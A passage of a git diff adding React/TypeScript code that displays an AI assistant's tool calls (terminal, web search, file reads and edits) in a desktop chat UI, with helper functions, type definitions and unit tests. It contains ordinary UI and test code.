+  if (detail) {
+    return { label: copy.output, text: detail }
+  }
+
+  return { label: copy.generic, text: view.title }
+}
+
+interface ToolTitleParts {
+  action?: ToolTitleAction
+  title: string
+}
+
+function titlePartsFromAction(title: string, action?: string): ToolTitleParts {
+  if (!action) {
+    return { title }
+  }
+
+  const actionStart = title.indexOf(action)
+
+  if (actionStart < 0) {
+    return { title }
+  }
+
+  return {
+    action: {
+      prefix: title.slice(0, actionStart),
+      suffix: title.slice(actionStart + action.length),
+      text: action
+    },
+    title
+  }
+}
+
+function dynamicTitle(
+  part: ToolPart,
+  args: Record<string, unknown>,
+  result: Record<string, unknown>,
+  fallback: ToolTitleParts
+): ToolTitleParts {
+  const verb = (gerund: string, past: string) => (part.result === undefined ? gerund : past)
+
+  const titledAction = (action: string, title: string): ToolTitleParts =>
+    titlePartsFromAction(title, part.result === undefined ? action : undefined)
+
+  if (part.toolName === 'web_extract') {
+    const url = findFirstUrl(args, result)
+    const action = verb(translateNow('assistant.tool.actions.reading'), translateNow('assistant.tool.actions.read'))
+
+    return url
+      ? titledAction(action, translateNow('assistant.tool.titleTemplates.actionTarget', action, hostnameOf(url)))
+      : fallback
+  }
+
+  if (part.toolName === 'browser_navigate') {
+    const url = findFirstUrl(args, result)
+
+    if (!url) {
+      return fallback
+    }
+
+    const failed =
+      part.isError || result.success === false || result.ok === false || Boolean(firstStringField(result, ['error']))
+
+    if (failed) {
+      const failAction = translateNow('assistant.tool.actions.failedToOpen')
+
+      return titledAction(
+        failAction,
+        translateNow('assistant.tool.titleTemplates.actionTarget', failAction, hostnameOf(url))
+      )
+    }
+
+    const action = verb(translateNow('assistant.tool.actions.opening'), translateNow('assistant.tool.actions.opened'))
+
+    return titledAction(action, translateNow('assistant.tool.titleTemplates.actionTarget', action, hostnameOf(url)))
+  }
+
+  if (part.toolName === 'web_search') {
+    const query = firstStringField(args, ['search_term', 'query']) || contextValue(args)
+
+    const action = verb(
+      translateNow('assistant.tool.actions.searching'),
+      translateNow('assistant.tool.actions.searched')
+    )
+
+    return query
+      ? titledAction(
+          action,
+          translateNow('assistant.tool.titleTemplates.actionQuoted', action, compactPreview(query, 48))
+        )
+      : fallback
+  }
+
+  if (part.toolName === 'read_file') {
+    const target = readFileDisplayTarget(args, result)
+    const action = verb(translateNow('assistant.tool.actions.reading'), translateNow('assistant.tool.actions.read'))
+
+    return target
+      ? titledAction(action, translateNow('assistant.tool.titleTemplates.actionTarget', action, target))
+      : fallback
+  }
+
+  if (part.toolName === 'terminal' || part.toolName === 'execute_code') {
+    const command = shellCommand(args)
+
+    if (command) {
+      const action =
+        part.toolName === 'execute_code'
+          ? verb(translateNow('assistant.tool.actions.runningCode'), translateNow('assistant.tool.actions.ranCode'))
+          : verb(translateNow('assistant.tool.actions.running'), translateNow('assistant.tool.actions.ran'))
+
+      return titledAction(
+        action,
+        translateNow(
+          'assistant.tool.titleTemplates.actionCommand',
+          action,
+          compactPreview(summarizeShellCommand(command), 160)
+        )
+      )
+    }
+  }
+
+  if (isFileEditTool(part.toolName)) {
+    const path = fileEditPath(args, result)
+
+    if (path) {
+      return { title: fileEditBasename(path) }
+    }
+  }
+
+  return fallback
+}
+
+export function buildToolView(part: ToolPart, inlineDiff: string): ToolView {
+  const argsRecord = parseMaybeObject(part.args)
+  const resultRecord = parseMaybeObject(part.result)
+  const meta = toolMeta(part.toolName)
+  const status = toolStatus(part, resultRecord)
+  // Skip residual error-heuristic text once status is success (stale isError
+  // envelope over a landed memory write would otherwise foul the subtitle).
+  const error = status === 'success' ? '' : toolErrorText(part, resultRecord)
+  // Over-budget memory refusals stay amber — don't claim "Saved".
+  const memoryMissed = part.toolName === 'memory' && part.result !== undefined && status !== 'success'
+
+  const baseTitle =
+    part.result === undefined
+      ? meta.pending
+      : memoryMissed
+        ? translateNow('assistant.tool.memoryWriteNoted')
+        : meta.done
+
+  const titleParts = dynamicTitle(
+    part,
+    argsRecord,
+    resultRecord,
+    titlePartsFromAction(baseTitle, part.result === undefined ? meta.pendingAction : undefined)
+  )
+
+  const title = titleParts.title
+  const titleEnriched = title !== baseTitle
+  const baseSubtitle = error || toolSubtitle(part, argsRecord, resultRecord)
+
+  const keepSubtitleWithTitle =
+    part.toolName === 'terminal' ||
+    part.toolName === 'execute_code' ||
+    (isFileEditTool(part.toolName) && Boolean(baseSubtitle.trim()))
+
+  const subtitle = titleEnriched && !error && !keepSubtitleWithTitle ? '' : baseSubtitle
+  const detailBody = stripDividerLines(toolDetailText(part, argsRecord, resultRecord))
+
+  const detail = error
+    ? [error, detailBody]
+        .filter(Boolean)
+        .filter((value, index, list) => list.findIndex(entry => entry.trim() === value.trim()) === index)
+        .join('\n\n')
+    : detailBody
+
+  const searchHits =
+    part.toolName === 'web_search' && status !== 'error' ? extractSearchResults(part.result) : undefined
+
+  const searchQuery =
+    part.toolName === 'web_search'
+      ? firstStringField(argsRecord, ['search_term', 'query']) || contextValue(argsRecord)
+      : ''
+
+  const resultCount = status === 'error' ? null : toolResultCount(part, argsRecord, resultRecord)
+
+  // For shell/code tools we surface stdout and stderr as separate labeled
+  // streams in the renderer. Many CLIs use stderr for informational
+  // messages (npm progress, git hints), so we deliberately don't paint
+  // stderr destructively even though it's tagged.
+  const rendersAnsi = part.toolName === 'terminal' || part.toolName === 'execute_code'
+  const stdout = rendersAnsi ? firstStringField(resultRecord, ['stdout']) : ''
+  const stderrRaw = rendersAnsi ? firstStringField(resultRecord, ['stderr']) : ''
+  // Only attach stderr when the backend actually returned it as its own
+  // field — otherwise the merged `detail` already covers it and double-
+  // rendering would duplicate output.
+  const hasSplitStreams = rendersAnsi && (Boolean(stdout) || Boolean(stderrRaw))
+  const terminalCommand = part.toolName === 'terminal' ? shellCommand(argsRecord) : undefined
+  const terminalExitCode = part.toolName === 'terminal' ? numericField(resultRecord, 'exit_code') : undefined
+
+  return {
+    countLabel: resultCount ? formatCountLabel(resultCount) : undefined,
+    detail,
+    detailLabel: error ? 'Error details' : toolDetailLabel(part.toolName),
+    durationLabel: durationLabel(resultRecord),
+    icon: meta.icon,
+    imageUrl: toolImageUrl(argsRecord, resultRecord),
+    inlineDiff,
+    previewTarget: toolPreviewTarget(part.toolName, argsRecord, resultRecord),
+    rendersAnsi: rendersAnsi || undefined,
+    searchQuery: searchQuery || undefined,
+    searchHits: searchHits?.length ? searchHits : undefined,
+    stderr: hasSplitStreams ? stderrRaw || undefined : undefined,
+    terminalCommand,
+    terminalExitCode,
+    stdout: hasSplitStreams ? stdout || undefined : undefined,
+    status,
+    subtitle,
+    title,
+    titleAction: titleParts.action,
+    tone: meta.tone
+  }
+}
diff --git a/ui-desktop/src/components/assistant-ui/tool/fallback-model/targets.ts b/ui-desktop/src/components/assistant-ui/tool/fallback-model/targets.ts
new file mode 100644
index 000000000..8423c77ad
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/fallback-model/targets.ts
@@ -0,0 +1,74 @@
+import type { ToolPart } from './types'
+
+export function looksLikeUrl(value: string): boolean {
+  return /^https?:\/\//i.test(value)
+}
+
+export function looksLikePath(value: string): boolean {
+  return /^file:\/\//i.test(value) || /^(?:\/|\.{1,2}\/|~\/).+/.test(value)
+}
+
+export function isPreviewableTarget(target: string): boolean {
+  return Boolean(
+    target &&
+    (/^file:\/\//i.test(target) ||
+      /^(?:\/|\.{1,2}\/|~\/).+\.html?$/i.test(target) ||
+      /^https?:\/\/(?:localhost|127\.0\.0\.1|0\.0\.0\.0|\[::1\])/i.test(target))
+  )
+}
+
+export function stableHash(value: string): string {
+  let hash = 0
+
+  for (let index = 0; index < value.length; index += 1) {
+    hash = Math.imul(31, hash) + value.charCodeAt(index)
+  }
+
+  return Math.abs(hash).toString(36)
+}
+
+export function toolPartDisclosureId(part: ToolPart): string {
+  if (part.toolCallId) {
+    return `tool:${part.toolCallId}`
+  }
+
+  return `tool:${part.toolName}:${stableHash(JSON.stringify(part.args ?? ''))}`
+}
+
+export function toolGroupDisclosureId(parts: ToolPart[]): string {
+  return `tool-group:${parts.map(toolPartDisclosureId).join('|')}`
+}
+
+export const URL_PATTERN = /https?:\/\/[^\s'"<>)\]]+/i
+
+export function findFirstUrl(...sources: unknown[]): string {
+  for (const src of sources) {
+    if (typeof src === 'string') {
+      const m = src.match(URL_PATTERN)
+
+      if (m) {
+        return m[0]
+      }
+    } else if (src && typeof src === 'object') {
+      for (const v of Object.values(src as Record<string, unknown>)) {
+        const found = findFirstUrl(v)
+
+        if (found) {
+          return found
+        }
+      }
+    }
+  }
+
+  return ''
+}
+
+export function hostnameOf(value: string): string {
+  try {
+    const url = new URL(value)
+
+    return `${url.hostname}${url.pathname && url.pathname !== '/' ? url.pathname : ''}`
+  } catch {
+    return value
+  }
+}
diff --git a/ui-desktop/src/components/assistant-ui/tool/fallback-model/types.ts b/ui-desktop/src/components/assistant-ui/tool/fallback-model/types.ts
new file mode 100644
index 000000000..66afaf484
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/fallback-model/types.ts
@@ -0,0 +1,86 @@
+export type ToolTone = 'agent' | 'browser' | 'default' | 'file' | 'image' | 'terminal' | 'web'
+export type ToolStatus = 'error' | 'running' | 'success' | 'warning'
+
+export interface ToolPart {
+  args?: unknown
+  isError?: boolean
+  result?: unknown
+  toolCallId?: string
+  toolName: string
+  type: 'tool-call'
+}
+
+export interface SearchResultRow {
+  snippet: string
+  title: string
+  url: string
+}
+
+export interface ToolTitleAction {
+  prefix: string
+  suffix: string
+  text: string
+}
+
+export interface CountMetric {
+  count: number
+  noun: string
+}
+
+export interface ToolView {
+  countLabel?: string
+  detail: string
+  detailLabel: string
+  durationLabel?: string
+  icon?: string
+  imageUrl?: string
+  inlineDiff: string
+  previewTarget?: string
+  /** Set for tools whose output naturally contains ANSI escape codes
+   *  (terminal/execute_code) so the renderer knows to run them through
+   *  the ANSI parser instead of printing them as literals. */
+  rendersAnsi?: boolean
+  /** Original query, shown above structured web-search results. */
+  searchQuery?: string
+  searchHits?: SearchResultRow[]
+  /** When the backend reports stderr as a separate stream (terminal /
+   *  execute_code), the renderer shows it as its own labeled, neutrally
+   *  tinted block under stdout — distinct from an error tone. */
+  stderr?: string
+  /** Terminal-only command shown as the prompt in the expanded transcript. */
+  terminalCommand?: string
+  /** Terminal-only process exit code, when the backend reported one. */
+  terminalExitCode?: number
+  /** When set, the renderer uses stdout+stderr as separate sections and
+   *  ignores the merged `detail`. */
+  stdout?: string
+  status: ToolStatus
+  subtitle: string
+  title: string
+  titleAction?: ToolTitleAction
+  tone: ToolTone
+}
+
+export interface ToolMeta {
+  done: string
+  icon?: string
+  pending: string
+  pendingAction: string
+  tone: ToolTone
+}
+
+export interface ToolMetaSpec {
+  icon?: string
+  tone: ToolTone
+}
+
+export interface MessageRunningStateSlice {
+  message: {
+    status?: {
+      type?: string
+    }
+  }
+  thread: {
+    isRunning: boolean
+  }
+}
diff --git a/ui-desktop/src/components/assistant-ui/tool/fallback-preview-scope.test.tsx b/ui-desktop/src/components/assistant-ui/tool/fallback-preview-scope.test.tsx
new file mode 100644
index 000000000..19c0868be
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/fallback-preview-scope.test.tsx
@@ -0,0 +1,76 @@
+import { cleanup, render } from '@testing-library/react'
+import { atom } from 'nanostores'
+import type { ComponentProps, ReactNode } from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { type SessionView, SessionViewProvider } from '@/app/chat/session-view'
+import { $previewStatusBySession } from '@/store/preview-status'
+import { $activeSessionId, $currentCwd } from '@/store/session'
+
+vi.mock('@assistant-ui/react', async importOriginal => ({
+  ...(await importOriginal<Record<string, unknown>>()),
+  useAuiState: (select: (state: unknown) => unknown) =>
+    select({ message: { id: 'msg-1', status: { type: 'complete' } }, thread: { isRunning: false } })
+}))
+
+const { ToolFallback } = await import('./fallback')
+
+const PRIMARY_ID = 'primary-session'
+const TILE_ID = 'tile-session'
+
+/** Minimal tile view: only the fields the tool row reads. */
+function tileView(): SessionView {
+  return {
+    ...({} as SessionView),
+    $cwd: atom('/tile/work'),
+    $messages: atom([]),
+    $runtimeId: atom<null | string>(TILE_ID),
+    kind: 'tile'
+  }
+}
+
+function renderToolRow(wrap: (node: ReactNode) => ReactNode) {
+  const props = {
+    args: { path: '/tile/work/report.html' },
+    result: { path: '/tile/work/report.html' },
+    toolCallId: 'call-1',
+    toolName: 'write_file'
+  } as unknown as ComponentProps<typeof ToolFallback>
+
+  render(<>{wrap(<ToolFallback {...props} />)}</>)
+}
+
+afterEach(() => {
+  cleanup()
+  $previewStatusBySession.set({})
+  $activeSessionId.set(null)
+  $currentCwd.set('')
+})
+
+describe('tool row preview recording', () => {
+  // The row used to record under the global (primary-only) $activeSessionId, so
+  // a preview produced inside a session TILE surfaced in the main chat's
+  // composer instead of the tile's own.
+  it('records into the session whose transcript the row is in, not the primary', () => {
+    $activeSessionId.set(PRIMARY_ID)
+    $currentCwd.set('/primary/work')
+
+    const view = tileView()
+
+    renderToolRow(node => <SessionViewProvider value={view}>{node}</SessionViewProvider>)
+
+    const recorded = $previewStatusBySession.get()
+
+    expect(Object.keys(recorded)).toEqual([TILE_ID])
+    expect(recorded[TILE_ID]?.[0]?.cwd).toBe('/tile/work')
+  })
+
+  it('still records into the primary session for the main chat', () => {
+    $activeSessionId.set(PRIMARY_ID)
+    $currentCwd.set('/primary/work')
+
+    renderToolRow(node => node)
+
+    expect(Object.keys($previewStatusBySession.get())).toEqual([PRIMARY_ID])
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/tool/fallback.test.ts b/ui-desktop/src/components/assistant-ui/tool/fallback.test.ts
new file mode 100644
index 000000000..b9847bff0
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/fallback.test.ts
@@ -0,0 +1,80 @@
+import { describe, expect, it } from 'vitest'
+
+import { isCardTool, isSilentTool } from '@/lib/tool-render-class'
+
+import { splitRunItems, technicalTrace } from './fallback'
+
+describe('isCardTool', () => {
+  it('keeps what the user has to look at out of a summary', () => {
+    // A diff is the deliverable, a clarify is a question waiting on an answer,
+    // an image is the thing that was asked for. None of them survives being
+    // folded into "used 3 tools".
+    for (const toolName of ['clarify', 'image_generate', 'edit_file', 'patch', 'write_file']) {
+      expect(isCardTool(toolName)).toBe(true)
+    }
+  })
+
+  it('treats reads, searches and commands as ephemeral activity', () => {
+    for (const toolName of ['read_file', 'search_files', 'terminal', 'execute_code', 'web_search']) {
+      expect(isCardTool(toolName)).toBe(false)
+    }
+  })
+})
+
+describe('isSilentTool', () => {
+  it('names the rows that render nothing in the transcript', () => {
+    // `todo` is hoisted to its own panel; a reaction's UI is the emoji on the
+    // bubble. The render budget must not charge for either.
+    expect(isSilentTool('todo')).toBe(true)
+    expect(isSilentTool('react_to_message')).toBe(true)
+    expect(isSilentTool('terminal')).toBe(false)
+  })
+})
+
+describe('splitRunItems', () => {
+  it('collapses a stretch of activity into one run', () => {
+    expect(splitRunItems(['read_file', 'search_files', 'terminal'])).toEqual([{ end: 2, kind: 'run', start: 0 }])
+  })
+
+  it('keeps a card at the point in the turn where it happened', () => {
+    // Read, edit, read has to stay in that order — a summary, the diff, then a
+    // second summary — rather than sorting the diffs to one end.
+    expect(splitRunItems(['read_file', 'patch', 'read_file', 'terminal'])).toEqual([
+      { end: 0, kind: 'run', start: 0 },
+      { index: 1, kind: 'card' },
+      { end: 3, kind: 'run', start: 2 }
+    ])
+  })
+
+  it('does not let adjacent cards merge into a run', () => {
+    expect(splitRunItems(['patch', 'write_file'])).toEqual([
+      { index: 0, kind: 'card' },
+      { index: 1, kind: 'card' }
+    ])
+  })
+
+  it('passes a part that is not a tool call through as its own card', () => {
+    expect(splitRunItems(['read_file', '', 'read_file'])).toEqual([
+      { end: 0, kind: 'run', start: 0 },
+      { index: 1, kind: 'card' },
+      { end: 2, kind: 'run', start: 2 }
+    ])
+  })
+
+  it('has nothing to split when the range is empty', () => {
+    expect(splitRunItems([])).toEqual([])
+  })
+})
+
+describe('technicalTrace', () => {
+  it('indents object payloads and persisted JSON strings', () => {
+    expect(technicalTrace({ offset: 2, path: '/tmp/demo.txt' }, '{"success":true,"lines":["a","b"]}')).toBe(
+      'Arguments:\n{\n  "offset": 2,\n  "path": "/tmp/demo.txt"\n}\n\nResult:\n{\n  "success": true,\n  "lines": [\n    "a",\n    "b"\n  ]\n}'
+    )
+  })
+
+  it('leaves scalar strings untouched', () => {
+    expect(technicalTrace(undefined, 'plain text')).toBe('Result:\nplain text')
+    expect(technicalTrace(undefined, '"already quoted"')).toBe('Result:\n"already quoted"')
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/tool/fallback.tsx b/ui-desktop/src/components/assistant-ui/tool/fallback.tsx
new file mode 100644
index 000000000..6e56d0918
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/fallback.tsx
@@ -0,0 +1,985 @@
+'use client'
+
+import { type ToolCallMessagePartProps, useAuiState } from '@assistant-ui/react'
+import { useStore } from '@nanostores/react'
+import {
+  Children,
+  createContext,
+  type FC,
+  Fragment,
+  type PropsWithChildren,
+  type ReactNode,
+  useContext,
+  useEffect,
+  useMemo,
+  useRef,
+  useState
+} from 'react'
+
+import { useSessionView } from '@/app/chat/session-view'
+import { AnsiText } from '@/components/assistant-ui/ansi-text'
+import { useElapsedSeconds } from '@/components/chat/activity-timer'
+import { ActivityTimerText } from '@/components/chat/activity-timer-text'
+import { CompactMarkdown } from '@/components/chat/compact-markdown'
+import { FileDiffPanel } from '@/components/chat/diff-lines'
+import { DisclosureRow } from '@/components/chat/disclosure-row'
+import { SCAFFOLD_LABEL_CLASS, SCAFFOLD_META_CLASS, ScaffoldRow } from '@/components/chat/scaffold-row'
+import { ZoomableImage } from '@/components/chat/zoomable-image'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { CopyButton } from '@/components/ui/copy-button'
+import { DisclosureCaret } from '@/components/ui/disclosure-caret'
+import { FadeText } from '@/components/ui/fade-text'
+import { FileTypeIcon } from '@/components/ui/file-type-icon'
+import { GlyphSpinner } from '@/components/ui/glyph-spinner'
+import { ToolIcon } from '@/components/ui/tool-icon'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { PrettyLink, LinkifiedText as SharedLinkifiedText, urlSlugTitleLabel } from '@/lib/external-link'
+import { AlertCircle, CheckCircle2 } from '@/lib/icons'
+import { normalize } from '@/lib/text'
+import { useEnterAnimation } from '@/lib/use-enter-animation'
+import { cn } from '@/lib/utils'
+import { recordPreviewArtifact } from '@/store/preview-status'
+import { sessionApprovalRequest } from '@/store/prompts'
+import { $toolInlineDiff } from '@/store/tool-diffs'
+import { $toolRowDismissed, dismissToolRow } from '@/store/tool-dismiss'
+import { $anyToolDisclosureOpen, $toolDisclosureOpen, $toolViewMode, setToolDisclosureOpen } from '@/store/tool-view'
+
+import { APPROVAL_TOOLS, PendingToolApproval } from './approval'
+import {
+  buildToolView,
+  clampForDisplay,
+  cleanVisibleText,
+  countDiffLineStats,
+  inlineDiffFromResult,
+  isCardTool,
+  isFileEditTool,
+  isPreviewableTarget,
+  looksRedundant,
+  type SearchResultRow,
+  selectMessageRunning,
+  stripInlineDiffChrome,
+  toolCopyPayload,
+  type ToolPart,
+  toolPartDisclosureId,
+  type ToolStatus,
+  type ToolTitleAction
+} from './fallback-model'
+import { isToolCallPart, summarizeToolRun } from './run-summary'
+import { ToolRunTicker } from './run-ticker'
+
+// `true` when a ToolEntry is rendered inside an embedding wrapper that owns
+// the per-row chrome (timer / preview). The flat ToolGroupSlot sets this
+// false, so every row currently owns its own chrome; kept as a seam for any
+// future embedding surface.
+const ToolEmbedContext = createContext(false)
+
+// A search hit's title is result *content* inside an expanded row, not one of
+// the scaffolding lines, so it keeps the brighter secondary grey.
+const SEARCH_HIT_TITLE_CLASS =
+  'text-[length:var(--conversation-tool-font-size)] font-medium leading-(--conversation-line-height) text-(--ui-text-secondary)'
+
+const TOOL_HEADER_SUBTITLE_CLASS =
+  'text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)'
+
+const TOOL_HEADER_GLYPH_WRAP_CLASS = 'grid size-3.5 shrink-0 place-items-center self-center'
+
+// Glass-style section label that sits above any pre/JSON/output block.
+// Lowercase tracking + tiny size so it reads as a quiet field label rather
+// than a chrome heading. Used for "stdout", "stderr", "Search results", etc.
+const TOOL_SECTION_LABEL_CLASS = 'mb-1 text-[0.65rem] font-medium uppercase tracking-[0.08em] text-(--ui-text-tertiary)'
+
+// Inset scroll surface for any detail body. The expanded tool row owns the
+// border; the payload itself is just clipped raw text.
+const TOOL_SECTION_SURFACE_CLASS =
+  'max-h-20 max-w-full overflow-auto bg-transparent px-2 py-1.5 text-(--ui-text-secondary)'
+
+const TOOL_EXPANDED_SHELL_CLASS = 'rounded-[0.3125rem] border border-(--ui-stroke-tertiary)'
+
+const TOOL_SECTION_PRE_CLASS = cn(TOOL_SECTION_SURFACE_CLASS, 'font-mono text-[0.7rem] leading-relaxed')
+
+// Raw args/result dump — reference material, so a notch smaller than a body.
+const TOOL_PAYLOAD_PRE_CLASS = cn(TOOL_SECTION_SURFACE_CLASS, 'font-mono text-[0.65rem] leading-relaxed')
+
+/**
+ * Technical-mode raw payload, behind a chevron disclosure.
+ *
+ * Collapsed by default — in technical mode every tool row carries one, and
+ * expanding them all buries the transcript. Uses `DisclosureCaret` rather than
+ * a native `<details>`, whose marker is a browser-drawn triangle matching
+ * nothing else here.
+ */
+function ToolPayloadDisclosure({ args, result }: { args: unknown; result: unknown }) {
+  const [open, setOpen] = useState(false)
+
+  return (
+    // `py-0.5` tops up the parent's `p-1.5` to an even block on both edges.
+    <div className="max-w-full py-0.5">
+      <button
+        aria-expanded={open}
+        className={cn(
+          TOOL_SECTION_LABEL_CLASS,
+          'mb-0 flex items-center gap-1 bg-transparent transition-colors hover:text-(--ui-text-secondary)'
+        )}
+        onClick={() => setOpen(value => !value)}
+        type="button"
+      >
+        <DisclosureCaret className="text-(--ui-text-tertiary)" open={open} size="0.625rem" />
+        Tool payload
+      </button>
+      {open && (
+        <pre className={cn(TOOL_PAYLOAD_PRE_CLASS, 'mt-1 whitespace-pre-wrap wrap-anywhere')}>
+          {technicalTrace(args, result)}
+        </pre>
+      )}
+    </div>
+  )
+}
+
+interface ToolStatusCopy {
+  statusDone: string
+  statusError: string
+  statusRecovered: string
+  statusRunning: string
+}
+
+function prettyTechnicalValue(value: unknown): string {
+  if (typeof value === 'string') {
+    const trimmed = value.trim()
+
+    if (!trimmed.startsWith('{') && !trimmed.startsWith('[')) {
+      return value
+    }
+
+    try {
+      const parsed = JSON.parse(value)
+
+      return parsed && typeof parsed === 'object' ? JSON.stringify(parsed, null, 2) : value
+    } catch {
+      return value
+    }
+  }
+
+  try {
+    return JSON.stringify(value, null, 2)
+  } catch {
+    return String(value)
+  }
+}
+
+export function technicalTrace(args: unknown, result: unknown): string {
+  const parts = [
+    ['Arguments', args],
+    ['Result', result]
+  ]
+    .filter(([, value]) => value !== undefined && value !== null)
+    .map(([label, value]) => `${label}:\n${prettyTechnicalValue(value)}`)
+
+  return clampForDisplay(parts.join('\n\n'))
+}
+
+function statusGlyph(status: ToolStatus, copy: ToolStatusCopy): ReactNode {
+  if (status === 'running') {
+    return (
+      <GlyphSpinner
+        ariaLabel={copy.statusRunning}
+        className="size-3.5 shrink-0 text-[0.95rem] text-(--ui-text-tertiary)"
+        spinner="breathe"
+      />
+    )
+  }
+
+  if (status === 'error') {
+    return <AlertCircle aria-label={copy.statusError} className="size-3.5 shrink-0 text-destructive" />
+  }
+
+  if (status === 'warning') {
+    return (
+      <AlertCircle aria-label={copy.statusRecovered} className="size-3.5 shrink-0 text-amber-600 dark:text-amber-400" />
+    )
+  }
+
+  return (
+    <CheckCircle2
+      aria-label={copy.statusDone}
+      className="size-3.5 shrink-0 text-emerald-600/85 dark:text-emerald-400/85"
+    />
+  )
+}
+
+// Leading glyph for any tool-row header. Status (running/error/warning)
+// takes precedence; otherwise falls back to the tool's codicon. Returns
+// null when neither applies so callers can render unconditionally.
+function ToolGlyph({
+  copy,
+  filePath,
+  icon,
+  legendary,
+  status
+}: {
+  copy: ToolStatusCopy
+  filePath?: string
+  icon?: string
+  /** Landed memory write — keep the brain glyph, tint it gold→purple. */
+  legendary?: boolean
+  status?: ToolStatus
+}) {
+  const node = status ? (
+    statusGlyph(status, copy)
+  ) : filePath ? (
+    <FileTypeIcon className="text-(--ui-text-tertiary)" path={filePath} size="0.875rem" />
+  ) : icon ? (
+    <ToolIcon
+      className={legendary ? 'text-(--tool-memory-legendary-icon)' : 'text-(--ui-text-tertiary)'}
+      name={icon}
+      size="0.875rem"
+    />
+  ) : null
+
+  return node ? (
+    <span className={cn(TOOL_HEADER_GLYPH_WRAP_CLASS, legendary && 'tool-memory-legendary-glyph')}>{node}</span>
+  ) : null
+}
+
+// Which status (if any) should pre-empt the tool's icon in the leading
+// slot. Success is silent — the row reads as "done" without a checkmark.
+function leadingStatus(isPending: boolean, status: ToolStatus): ToolStatus | undefined {
+  if (isPending) {
+    return 'running'
+  }
+
+  return status === 'success' ? undefined : status
+}
+
+function SearchResultsList({ hits }: { hits: SearchResultRow[] }) {
+  return (
+    <ol className="m-0 grid list-none gap-2.5 p-0">
+      {hits.map((hit, index) => {
+        const key = `${hit.url || hit.title}-${index}`
+        const trimmedTitle = hit.title.trim()
+
+        return (
+          <li className="grid min-w-0 gap-0.5" key={key}>
+            {hit.url ? (
+              <PrettyLink
+                className={cn(SEARCH_HIT_TITLE_CLASS, 'block max-w-full')}
+                fallbackLabel={trimmedTitle || urlSlugTitleLabel(hit.url)}
+                href={hit.url}
+                label={trimmedTitle || undefined}
+              />
+            ) : (
+              <span className={SEARCH_HIT_TITLE_CLASS}>{trimmedTitle}</span>
+            )}
+            {hit.snippet && <p className={cn(TOOL_HEADER_SUBTITLE_CLASS, 'm-0 line-clamp-3')}>{hit.snippet}</p>}
+          </li>
+        )
+      })}
+    </ol>
+  )
+}
+
+function LinkifiedText({ className, text }: { className?: string; text: string }) {
+  return <SharedLinkifiedText className={className} pretty text={cleanVisibleText(text)} />
+}
+
+function ToolTitle({
+  isPending,
+  legendary,
+  status,
+  title,
+  titleAction
+}: {
+  isPending: boolean
+  legendary?: boolean
+  status: ToolStatus
+  title: string
+  titleAction?: ToolTitleAction
+}) {
+  return (
+    <FadeText
+      className={cn(
+        SCAFFOLD_LABEL_CLASS,
+        isPending && 'text-(--conversation-scaffold-meta)',
+        status === 'error' && 'text-destructive',
+        status === 'warning' && 'text-amber-700 dark:text-amber-300',
+        legendary && !isPending && 'tool-memory-legendary-title text-transparent'
+      )}
+    >
+      {isPending && titleAction ? (
+        <>
+          {titleAction.prefix}
+          <span className="shimmer">{titleAction.text}</span>
+          {titleAction.suffix}
+        </>
+      ) : (
+        title
+      )}
+    </FadeText>
+  )
+}
+
+interface ToolEntryProps {
+  part: ToolPart
+}
+
+function useDisclosureOpen(disclosureId: string, fallbackOpen = false): boolean {
+  const persistedOpen = useStore($toolDisclosureOpen(disclosureId))
+
+  return persistedOpen ?? fallbackOpen
+}
+
+/**
+ * A row's disclosure id, scoped to the message it was rendered in.
+ *
+ * Shared with the run that wraps the row: a live run has to know when one of
+ * its own rows has been opened, and both sides have to name it identically or
+ * the run never hears about it.
+ */
+function toolEntryDisclosureId(messageId: string, part: ToolPart): string {
+  return `tool-entry:${messageId}:${toolPartDisclosureId(part)}`
+}
+
+function ToolEntry({ part }: ToolEntryProps) {
+  const { t } = useI18n()
+  const copy = t.assistant.tool
+  const statusCopy = t.statusStack
+  const messageId = useAuiState(s => s.message.id)
+  const messageRunning = useAuiState(selectMessageRunning)
+  const embedded = useContext(ToolEmbedContext)
+  const toolViewMode = useStore($toolViewMode)
+
+  // `ToolFallback` rebuilds the `part` wrapper each render, defeating the memos
+  // below and re-running buildToolView (full JSON.stringify of result) on every
+  // stream delta — the freeze on big `/learn` runs. Re-derive a stable part from
+  // the referentially-stable args/result so the memos hold across deltas.
+  const { args, isError, result, toolCallId, toolName } = part
+
+  const stablePart = useMemo<ToolPart>(
+    () => ({ args, isError, result, toolCallId, toolName, type: 'tool-call' }),
+    [args, isError, result, toolCallId, toolName]
+  )
+
+  const disclosureId = toolEntryDisclosureId(messageId, stablePart)
+  const dismissed = useStore($toolRowDismissed(disclosureId))
+  const isPending = messageRunning && result === undefined
+  // Subscribe to this tool's diff only, so a live patch for one tool doesn't
+  // re-render every mounted tool row (the factory caches a per-id atom).
+  const sideDiff = useStore($toolInlineDiff(toolCallId ?? ''))
+  const inlineDiff = stripInlineDiffChrome(sideDiff) || inlineDiffFromResult(result)
+  const isFileEdit = isFileEditTool(toolName)
+  const defaultOpen = Boolean(inlineDiff)
+  const open = useDisclosureOpen(disclosureId, defaultOpen)
+  const canDismiss = !isPending && !embedded
+  // Only animate entries that mount while their message is actively
+  // streaming — historical sessions mount with `messageRunning === false`,
+  // so they paint statically without a settle cascade. The wrapping group
+  // handles its own enter animation, so embedded children skip it.
+  const enterRef = useEnterAnimation(messageRunning && !embedded, `tool-entry:${disclosureId}`)
+  const elapsed = useElapsedSeconds(isPending, `tool:${disclosureId}`)
+
+  // Stale parts (no result, but message stopped running) get a synthetic empty
+  // result so buildToolView treats them as completed-no-output. Keyed on
+  // stablePart so it recomputes only when this tool's data changes.
+  const view = useMemo(() => {
+    const p = !isPending && result === undefined ? { ...stablePart, result: {} } : stablePart
+
+    return buildToolView(p, inlineDiff)
+  }, [inlineDiff, isPending, result, stablePart])
+
+  // Surface a previewable artifact (HTML file / localhost URL) as a compact link
